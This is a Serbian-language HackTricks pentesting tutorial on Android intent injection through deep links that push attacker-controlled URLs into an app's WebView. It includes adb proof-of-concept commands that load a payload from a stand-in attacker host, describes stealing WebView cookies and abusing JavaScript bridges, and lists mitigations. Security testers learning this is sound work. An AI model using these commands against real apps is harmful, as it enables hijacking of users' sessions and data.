Intent Injection
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Intent injection zloupotrebljava komponente koje prihvataju Intente ili podatke koje kontroliše napadač, a koji se kasnije pretvaraju u Intente. Dva veoma uobičajena obrasca tokom pentestiranja Android aplikacija su:
- Prosleđivanje kreiranih dodataka izvezenim Aktivnostima/Uslugama/BroadcastReceiver-ima koji se kasnije prosleđuju privilegovanim, neizvezenim komponentama.
- Aktiviranje izvezenih VIEW/BROWSABLE dubokih linkova koji prosleđuju URL-ove koje kontroliše napadač u interne WebView-ove ili druge osetljive odredišne tačke.
Deep links → WebView sink (injekcija URL parametara)
Ako aplikacija izlaže duboki link sa prilagođenim shemom kao što je:
myscheme://com.example.app/web?url=<attacker_url>
i primajući Activity prosleđuje url
parametar upita u WebView, možete naterati aplikaciju da prikaže proizvoljan udaljeni sadržaj u svom WebView kontekstu.
PoC putem adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS se izvršava unutar WebView profila aplikacije.
- Ako je JavaScript omogućen (podrazumevano ili zbog pogrešnog redosleda provere), možete enumerisati/koristiti bilo koje izložene
@JavascriptInterface
objekte, ukrasti WebView kolačiće/lokalnu memoriju i pivotirati.
Pogledajte takođe:
Greška u redosledu provere koja omogućava JavaScript
Ponovljena greška je omogućavanje JavaScript-a (ili drugih permisivnih WebView podešavanja) pre nego što se završi konačna URL lista dozvoljenih/verifikacija. Ako rani pomoćnici prihvate vaš duboki link i WebView je prvo konfiguran, vaše konačno učitavanje se dešava sa već omogućеним JavaScript-om čak i ako su kasnije provere pogrešne ili prekasne.
Na šta obratiti pažnju u dekompiliranom kodu:
- Više pomoćnika koji različito analiziraju/razdvajaju/ponovo grade URL (neusklađena normalizacija).
- Pozivi
getSettings().setJavaScriptEnabled(true)
pre poslednje provere dozvoljenih hostova/putanja. - Pipeline kao: parse → delimična validacija → konfiguriši WebView → konačna verifikacija → loadUrl.
Mitigacije
- Kanonizujte jednom i strogo validirajte; neuspeh zatvorite.
- Omogućite JavaScript samo nakon što sve provere prođu i neposredno pre učitavanja pouzdanog sadržaja.
- Izbegavajte izlaganje mostova nepouzdanim izvorima.
Druge klasične Intent injekcije
- startActivity/sendBroadcast koristeći napadačem obezbeđene
Intent
eksterne koje se kasnije ponovo analiziraju (Intent.parseUri(...)
) i izvršavaju. - Izvezene proxy komponente koje prosleđuju Intente neizvezenim osetljivim komponentama bez provere dozvola.
Reference
- Android – Pristup komponentama zaštićenim aplikacijom
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 napadna lanac (beleška)
- Demonstracioni video
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.